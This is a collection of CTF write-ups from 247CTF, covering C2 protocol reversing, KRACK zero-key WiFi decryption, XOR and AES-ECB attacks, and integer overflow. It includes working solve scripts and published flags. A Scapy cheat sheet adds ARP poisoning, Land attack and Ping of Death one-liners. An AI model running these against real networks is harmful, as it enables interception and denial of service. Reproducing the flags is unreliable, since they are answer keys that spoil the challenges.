Hello Navi

note and sharing

We are working on our own custom command and control protocol. Can you identify any hidden features in the service? We also included a packet capture of some old sessions so you can learn how it works.

我们正在开发自己的自定义命令与控制协议。您能发现该服务中有哪些隐藏功能吗?我们还提供了一些旧会话的数据包捕获文件,以便您了解其工作原理。

PCAP Investigation with Scapy

The first step was to examine the provided packet capture (custom_protocol_log.pcap) to understand the communication pattern. I used scapy to extract and decode raw data from the TCP streams.

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#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import TCP

PCAP_FILE = "custom_protocol_log.pcap"

def print_hex(pcap_path):
packets = rdpcap(pcap_path)
for pkt in packets:
if TCP in pkt and pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
# Attempt to decode or print as hex
print(raw.hex())
except Exception as e:
print(f"[-] Error: {e}")

if __name__ == "__main__":
print_hex(PCAP_FILE)

Protocol Reversal

By analyzing the hex data from the traffic between 172.17.0.1 and 172.17.0.2, a clear pattern emerged:

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b925afc1 00 31 00 30 00 323430323435313235
b925afc1 00 32 00 30 00 323032383630353038
b925afc1 00 33 00 32 00 33383232383038323633

The protocol structure appears to be: [Session ID] [Null] [Counter] [Null] [Command] [Null] [Checksum]

  • Session ID: A 4-byte identifier (e.g., b925afc1).
  • Counter: Increments with each request.
  • Command: Hex-encoded numbers (e.g., 30 for 0, 31 for 1, 32 for 2).
  • Checksum: A CRC32 calculation of the preceding bytes, where the result is converted to a decimal string and then hex-encoded.

Checksum Verification

Using Python to verify the CRC32 logic:

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import zlib

def calc_custom_crc_hex(hex_data: str) -> str:
data_bytes = bytes.fromhex(hex_data)
crc_val = zlib.crc32(data_bytes)
# Convert CRC32 integer to decimal string, then hex-encode that string
return str(crc_val).encode().hex()

base_hex = "b925afc100310030"
print(f"Payload: {base_hex}")
print(f"Custom CRC Hex: {calc_custom_crc_hex(base_hex)}")
# Output: 323430323435313235 (Matches the PCAP!)

Solution

Exploit Script

I developed a brute-force script using pwntools to iterate through potential commands (0-14) and find the one that triggers the flag response.

wtf why not 0-15

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#!/usr/bin/env python3
import zlib
from pwn import *

HOST = "35f9359cc67c7983.247ctf.com"
PORT = 50385
context.log_level = "info"

def calc_custom_crc_hex(hex_data: str) -> str:
data_bytes = bytes.fromhex(hex_data)
crc_val = zlib.crc32(data_bytes)
return str(crc_val).encode().hex()

def solve():
sep = "00"
counter = "31"
# Commands 0-14 in hex format
commands = [f"3{hex(i)[2:]}" for i in range(15)]

for cmd in commands:
try:
conn = remote(HOST, PORT, timeout=5)
# Receive Session ID
session_id = conn.recvline(drop=True).decode(errors="replace")
log.info(f"Session ID: {session_id} | Testing Command: {cmd}")

# Construct payload: [SessionID][00][Counter][00][Command][00][Checksum]
base_hex = f"{session_id}{sep}{counter}{sep}{cmd}"
crc_hex = calc_custom_crc_hex(base_hex)
payload = f"{base_hex}{sep}{crc_hex}"

conn.sendline(payload.encode())

raw_response = conn.recvall(timeout=3).decode(errors="replace")
try:
# Server returns hex-encoded response
decoded_response = bytes.fromhex(raw_response).decode(errors="replace")
if "247CTF" in decoded_response:
log.success(f"Flag found: {decoded_response}")
conn.close()
return
except ValueError:
log.warning(f"Failed to decode hex response: {raw_response}")
print("-" * 40)

if __name__ == "__main__":
solve()

Execution Output

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[*] Starting brute-force with commands: ['30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '3a', '3b', '3c', '3d', '3e']
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 9b2832a1
[+] Receiving all data: Done (54B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: �(2�\x001\x00notroot
\x003738085711
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 3907e672
[+] Receiving all data: Done (152B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: 9\x07�r\x001\x00uid=1000(notroot) gid=1000(notroot) groups=1000(notroot)
\x003051696603
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: edd0a465
[+] Receiving all data: Done (96B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: �Фe\x001\x00Sun Mar 1 06:57:51 UTC 2026
\x003480231763
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 705136bc
[+] Receiving all data: Done (446B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: pQ6�\x001\x00 total used free shared buff/cache available
Mem: 7973384 1587756 3913000 2636 2472628 6135804
Swap: 2097148 0 2097148
\x002165499562
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: d0f8fe01
[+] Receiving all data: Done (118B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: ���\x01\x001\x00247CTF{e5df2a6497c8733e8dc4679d856591af}\x001655731160
[+] Flag found: ���\x01\x001\x00247CTF{e5df2a6497c8733e8dc4679d856591af}\x001655731160
[*] Connection closed.

[Process exited 0]

Flag

247CTF{e5df2a6497c8733e8dc4679d856591af}

Our WiFi keeps disconnecting. We captured wireless traffic to try and figure out what’s happening, but it’s all temporal zeros to us! I think someone is trying to exploit a WiFi vulnerability.. Can you decrypt the traffic and gain access to the flag?

The hint "temporal zeros" and the context of a WiFi vulnerability strongly suggest the KRACK (Key Reinstallation Attack), specifically CVE-2017-13077.

Vulnerability Analysis: Why "Zeros"?

In a standard WPA2 4-way handshake, the client and AP negotiate a PTK (Pairwise Transient Key). KRACK works by intercepting and replaying Message 3 of the handshake, forcing the client to reinstall an already in-use key. This resets nonces (packet numbers) and replay counters.

For certain versions of wpa_supplicant (notably 2.4 and 2.5), a critical implementation bug exists: when the key is reinstalled, the Temporal Key (TK) is not just reused, but cleared to all zeros.

The captured 802.11 CCMP packets are encrypted using a 16-byte key of \x00 values.

The WPA2 4-way Handshake & PTK

  1. Message 1: AP sends a random number (ANonce) to the Client.
  2. Message 2: Client generates its own random number (SNonce), derives the PTK using both Nonces, and sends SNonce to the AP.
  3. Message 3: AP derives the same PTK, sends the Group Temporal Key (GTK), and instructs the Client to install the PTK.
  4. Message 4: Client confirms installation with an ACK.

The KRACK attack manipulates Message 3 to trigger the "all-zero" TK bug.

Decryption Methods

Method 1: Wireshark GUI

If you prefer a visual approach, you can configure Wireshark to decrypt the traffic using the zeroed key:

  1. Open Preferences (Ctrl + Shift + P).
  2. Go to Protocols -> IEEE 802.11.
  3. Check "Enable decryption".
  4. Click "Edit..." next to Decryption keys.
  5. Add a new key:
    • Key type: tk
    • Key: 00000000000000000000000000000000 (32 zeros)

Method 2: Scapy Script (CLI)

The following script manually reconstructs the CCM Nonce and decrypts the packets using the zeroed Temporal Key.

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import binascii
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from scapy.all import rdpcap
from scapy.layers.dot11 import Dot11, Dot11CCMP, Dot11QoS

PCAP_FILE = "/home/kita/Downloads/00ps.pcap"

def crack_temporal_zeros(pcap_file):
print(f"[*] Parsing {pcap_file}...")
try:
packets = rdpcap(pcap_file)
except Exception as e:
print(f"[!] File error: {e}")
return

# CVE-2017-13077 (KRACK): The bug forces the TK (Temporal Key) to all zeros.
tk_all_zeros = b"\x00" * 16

for idx, pkt in enumerate(packets):
if not pkt.haslayer(Dot11CCMP):
continue

ccmp = pkt[Dot11CCMP]

# 1. Extract Packet Number (PN), 6 bytes
pn = bytes([ccmp.PN5, ccmp.PN4, ccmp.PN3, ccmp.PN2, ccmp.PN1, ccmp.PN0])

# 2. Extract Transmitter Address (A2), 6 bytes
try:
mac_a2 = binascii.unhexlify(pkt[Dot11].addr2.replace(":", ""))
except AttributeError:
continue

# 3. Extract QoS Priority (TID)
priority = b"\x00"
if pkt.haslayer(Dot11QoS):
tid = pkt[Dot11QoS].TID & 0x0F
priority = bytes([tid])

# 4. Construct 13-byte CCM Nonce
# Nonce = Priority (1 byte) + MAC A2 (6 bytes) + PN (6 bytes)
nonce = priority + mac_a2 + pn

# 5. Assemble CTR Initial Vector (16 bytes)
# Flags (0x01) + Nonce (13 bytes) + Counter (0x0001)
iv = b"\x01" + nonce + b"\x00\x01"

# 6. Decrypt using AES-CTR (Bypassing MIC check for speed/simplicity)
cipher = Cipher(
algorithms.AES(tk_all_zeros), modes.CTR(iv), backend=default_backend()
)
decryptor = cipher.decryptor()

raw_data = ccmp.data
if len(raw_data) <= 8:
continue

ciphertext = raw_data[:-8] # Last 8 bytes are the MIC
plaintext = decryptor.update(ciphertext) + decryptor.finalize()

try:
decoded_text = plaintext.decode("utf-8", errors="ignore")
if "247ctf" in decoded_text.lower():
print(f"\n[+] Flag found in packet #{idx + 1}:")
print(f" Plaintext: {decoded_text}\n")
break
except Exception:
pass

if __name__ == "__main__":
crack_temporal_zeros(PCAP_FILE)

Flag

247CTF{5e19fbdfa7072d568a28dd47b0edd379}

1. TCP Control Flags

Flag Name Function Use Case
SYN Synchronize Establishes connection / Syncs sequence numbers 3-way handshake start
ACK Acknowledge Confirms receipt of data/packets Connection maintenance
FIN Finish Graceful connection termination Closing session
RST Reset Immediate, forced connection termination Error handling / Port closed
PSH Push Forces data to application layer immediately Interactive sessions (SSH)
URG Urgent Marks data as priority Out-of-band data

[!INFO] Practical Insight: PSH vs. Buffering

  • Kernel Mechanism: Linux typically buffers data to optimize throughput.
  • PSH Action: Overrides buffer logic. In CTF/Traffic analysis, frequent PSH flags often indicate real-time command execution (e.g., Reverse Shell traffic).

2. Scapy Layer & Field Reference

IP Layer (IP)

  • src / dst: Source and Destination IP addresses.
  • proto: Protocol number (TCP: 6, UDP: 17, ICMP: 1).
  • ttl: Time to Live (hops).

Transport Layer (TCP / UDP)

  • sport / dport: Source and Destination ports.
  • flags: TCP control bits (e.g., S, SA, RA).
  • seq / ack: Sequence and Acknowledgment numbers (TCP).
  • load: Data payload (Raw or UDP).

Raw Layer (Raw)

The Raw layer contains unparsed binary data.

  • Access: pkt[Raw].load
  • Use: Efficient for binary pattern matching or extracting custom payloads.

3. Probing & Scanning Recipes

Host Discovery (Ping)

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# ARP Ping (Local Network)
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)

# TCP SYN Ping (Bypass ICMP filters)
ans, unans = sr(IP(dst="192.168.1.0/24")/TCP(dport=80, flags="S"))

# UDP Ping (Relies on ICMP Port Unreachable)
ans, unans = sr(IP(dst="192.168.1.*")/UDP(dport=0))

Advanced Port Scanning

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# ACK Scan (Firewall Rule Detection)
# Response = Port Unfiltered; No Response = Filtered
ans, unans = sr(IP(dst="target")/TCP(dport=[80, 443], flags="A"))

# Xmas Scan (FIN/PSH/URG)
# RST Response = Port Closed; No Response = Open|Filtered
ans, unans = sr(IP(dst="target")/TCP(dport=666, flags="FPU"))

4. Network Security Testing

ARP Cache Poisoning (MitM)

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# Manual ARP Poisoning
send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), loop=1, inter=10)

# Scapy Built-in Helper
arp_mitm("target_ip", "gateway_ip")

Protocol Forgery

  • Land Attack: Source and Destination set to target IP.
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    send(IP(src=target, dst=target)/TCP(sport=135, dport=135))
  • Ping of Death: Fragmented oversized ICMP packets.
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    send(fragment(IP(dst=target)/ICMP()/("X"*60000)))

5. Service Interaction & Sniffing

DNS Queries

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# Query MX Record
ans = sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="google.com", qtype="MX")))

Advanced Traceroute

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# TCP SYN Traceroute
ans, unans = traceroute("target.com", dport=443, flags="S")

# DNS/UDP Traceroute
ans, unans = traceroute("4.2.2.1", l4=UDP()/DNS(qd=DNSQR(qname="example.com")))

Sniffing

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# Sniff 802.11 Beacon frames (Requires Monitor Mode)
sniff(iface="wlan0mon", prn=lambda x: x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%}"))

6. TLS Forensics: Matching Keys to Traffic

When analyzing encrypted PCAPs, you may need to find which private key (from a collection) matches a certificate found in the traffic.

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#!/usr/bin/env python3
import glob
import os
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from scapy.all import *
from scapy.layers.tls.all import TLS
from scapy.layers.tls.cert import Cert
from scapy.layers.tls.handshake import TLSCertificate

# Configuration
PCAP_FILE = "encrypted.pcap"
KEYS_DIR = "./keys/"

load_layer("tls")

def extract_certs_from_pcap(pcap_path):
"""Extracts TLS certificates from a PCAP file."""
packets = rdpcap(pcap_path)
cert_list = []

for pkt in packets:
if pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
tls_parsed = TLS(raw)
tls_cert_layer = tls_parsed.getlayer(TLSCertificate)
if tls_cert_layer:
for _, x509_wrapper in tls_cert_layer.certs:
cert_list.append(x509_wrapper)
print(f"[+] Extracted Certificate: {x509_wrapper.subject}")
except Exception:
continue
return cert_list

def get_rsa_modulus(cert_obj):
"""Extracts the RSA modulus from a Scapy Cert object."""
try:
if not isinstance(cert_obj, Cert):
return None
pubkey_bytes = cert_obj.pubKey.der
public_key = serialization.load_der_public_key(pubkey_bytes)

if isinstance(public_key, rsa.RSAPublicKey):
return public_key.public_numbers().n
except Exception as e:
print(f"[-] Error parsing public key: {e}")
return None

def find_matching_key(target_modulus, keys_directory):
"""Finds a PEM private key in a directory matching the given modulus."""
print(f"[*] Searching for matching key in {keys_directory}...")

for key_file in glob.glob(os.path.join(keys_directory, "*")):
try:
with open(key_file, "rb") as f:
private_key = serialization.load_pem_private_key(
f.read(), password=None, backend=default_backend()
)

if isinstance(private_key, rsa.RSAPrivateKey):
priv_modulus = private_key.private_numbers().public_numbers.n
if priv_modulus == target_modulus:
return key_file
except Exception:
continue
return None

if __name__ == "__main__":
certs = extract_certs_from_pcap(PCAP_FILE)
if not certs:
print("[-] No certificates found.")
exit(1)

for cert in certs:
modulus = get_rsa_modulus(cert)
if modulus:
match = find_matching_key(modulus, KEYS_DIR)
if match:
print(f"[!] BINGO! Matching key found: {match}")
break
else:
print("[-] No matching keys found.")

Recover a XOR encryption key used to encrypt a JPG image.

Approach

XOR encryption is vulnerable when the plaintext is partially known:

  • JPG files have a known magic header: FF D8 FF E0 00 10 4A 46 49 46 00 01
  • XOR the encrypted header with known plaintext to recover the key
  • Apply the recovered key to decrypt the entire file

Solution

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#!/usr/bin/env python3
from itertools import cycle

# JPG file magic header
known_header = bytes.fromhex("FF D8 FF E0 00 10 4A 46 49 46 00 01")

# Read encrypted file
with open("my_magic_bytes.jpg.enc", "rb") as f:
cipher_data = f.read()

# Extract encrypted header
cipher_header = cipher_data[:12]

# Recover XOR key: ciphertext XOR plaintext = key
key = bytes([c ^ p for c, p in zip(cipher_header, known_header)])
print(f"[*] Calculated Key: {key.hex().upper()}")

# Decrypt entire file by applying repeating key
decrypted_data = bytes([c ^ k for c, k in zip(cipher_data, cycle(key))])

# Save decrypted image
with open("flag.jpg", "wb") as f:
f.write(decrypted_data)

print("[*] Decrypted! Check flag.jpg")

Key Insight

When XOR encrypts known file formats (JPG, PNG, ZIP, etc.), the magic bytes provide enough information to recover the key without brute force.

247CTF{ca4e3b7f913ca7ca8f33fb0504f2947f}

An encryption service encrypts plaintext, but blocks encryption of the impossible_flag_user string. Exploit the ECB mode implementation to forge an encrypted token that decrypts to this forbidden value.

Vulnerability

The service uses AES in ECB mode, which has critical weakness: identical plaintext blocks produce identical ciphertext blocks. By crafting specific payloads, we can:

  1. Encrypt the first 16 bytes of the target string
  2. Encrypt padding-aligned subsequent bytes
  3. Concatenate the cipher blocks to forge a valid token

Exploit Strategy

The target user is: impossible_flag_user (23 bytes)

  1. Block 1: Encrypt impossible_flag_ (16 bytes) → get first cipher block
  2. Block 2: Encrypt user + PKCS#7 padding → get second cipher block
  3. Combine: Concatenate blocks to form forged token → decrypt equals target

Solution

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import binascii
import requests

BASE_URL = "https://2c5a74f7cc3f1fdf.247ctf.com"

def solve():
# Block 1: First 16 bytes of target
part1_plain = b"impossible_flag_"
payload1 = binascii.hexlify(part1_plain).decode()
r1 = requests.get(f"{BASE_URL}/encrypt?user={payload1}")
cipher_part1 = r1.text[:32] # 32 hex chars = 16 bytes
print(f"[*] Block 1 Cipher: {cipher_part1}")

# Block 2: Remaining 7 bytes + PKCS#7 padding to 16 bytes
padding_len = 16 - (20 % 16)
part2_plain = b"user" + bytes([padding_len] * padding_len)
payload2 = binascii.hexlify(part2_plain).decode()
r2 = requests.get(f"{BASE_URL}/encrypt?user={payload2}")
cipher_part2 = r2.text[:32]
print(f"[*] Block 2 Cipher: {cipher_part2}")

# Forge token by concatenating blocks
final_token = cipher_part1 + cipher_part2
print(f"[*] Forged Token: {final_token}")

# Get flag
r_flag = requests.get(f"{BASE_URL}/get_flag?user={final_token}")
print(f"\n---> FLAG: {r_flag.text}")

if __name__ == "__main__":
solve()
247CTF{ddd01e396dc1965c3fcf943f3968aa39}

Socket challenge requiring automation to solve 500 arithmetic problems programmatically. Use Python with pwntools to interface with the remote service and automate the solution.

Key Considerations

  • Library: pwntools for socket communication
  • Custom delimiter: Uses \r\n instead of standard \n
  • Approach: Parse math expressions dynamically and compute answers

Solution

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#!/usr/bin/env python3
import pwn

HOST = "7a3875d00fa5d462.247ctf.com"
PORT = 50337

pwn.context.log_level = "info"
pwn.tube.newline = b"\r\n"


def solve_challenge():
conn = None
try:
conn = pwn.remote(HOST, PORT)

for i in range(500):
conn.recvuntil(b"answer to ")
question_line = conn.recvline().decode().strip()
expression = question_line.replace("?", "")
result = int(eval(expression))
conn.sendline(str(result).encode())
pwn.log.info(f"Progress: [{i + 1}/500] Solved: {expression} = {result}")

pwn.log.success("500 problems solved! Waiting for flag...")
conn.interactive()

except Exception as e:
pwn.log.error(f"An error occurred: {e}")

finally:
if conn:
pwn.log.info("Connection closed.")
conn.close()


if __name__ == "__main__":
solve_challenge()

Execution Output

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❯ python tcp_auto.py
[+] Opening connection to 7a3875d00fa5d462.247ctf.com on port 50337: Done
...
[*] Progress: [499/500] Solved: 221 + 474 = 695
[*] Progress: [500/500] Solved: 4 + 449 = 453
[+] 500 problems solved! Waiting for flag...
[*] Switching to interactive mode
247CTF{flag_here}

Multi-path TCP (MPTCP) challenge: data is spread across multiple subflows. Task is to combine the requests and recover the flag.

Approach

  1. Merge PCAP files - Combine three MPTCP flow captures
  2. Extract TCP streams - Reconstruct the data from merged flows
  3. Analyze extracted data - Look for embedded archives and artifacts
  4. Extract and inspect - Check for flag in extracted files

Solution Steps

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# 1. Merge the three PCAP files
mergecap -w merged_chall.pcap chall-i1.pcap chall-i2.pcap chall-i3.pcap

# 2. Extract TCP flows
tcpflow -r merged_chall.pcap -o ./output_dir

# 3. Concatenate flow streams
cat a b c > a

# 4. Extract embedded archive with binwalk
binwalk -eM a

Key Findings

  • Identified ZIP archive at offset 0x78145B containing 11 files
  • Extracted files include multiple JPEGs: Flag.jpg, Here.jpg, Is.jpg, NOT_A_FLAG.jpg
  • Flag is embedded in one of the extracted images
247CTF{850bb436f0eecad0205eebb6c9b7b6c6}

Find a number that is one more than itself. Specifically, a number where n > 0 && n > (n + 1).

Vulnerability

Integer overflow! In languages with fixed-size integers, the maximum value when incremented wraps around to the minimum negative value.

For a 32-bit signed integer:

  • Maximum value: 2147483647
  • 2147483647 + 1 overflows to: -2147483648 (negative)

So the condition n > (n + 1) becomes true.

Solution

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nc 287ab557f3f29afd.247ctf.com 50088
2147483647
247CTF{********************************}

Simply send the maximum 32-bit signed integer value.

247CTF{38f5daf742a4b3d74b3a7575bf4d7d1e}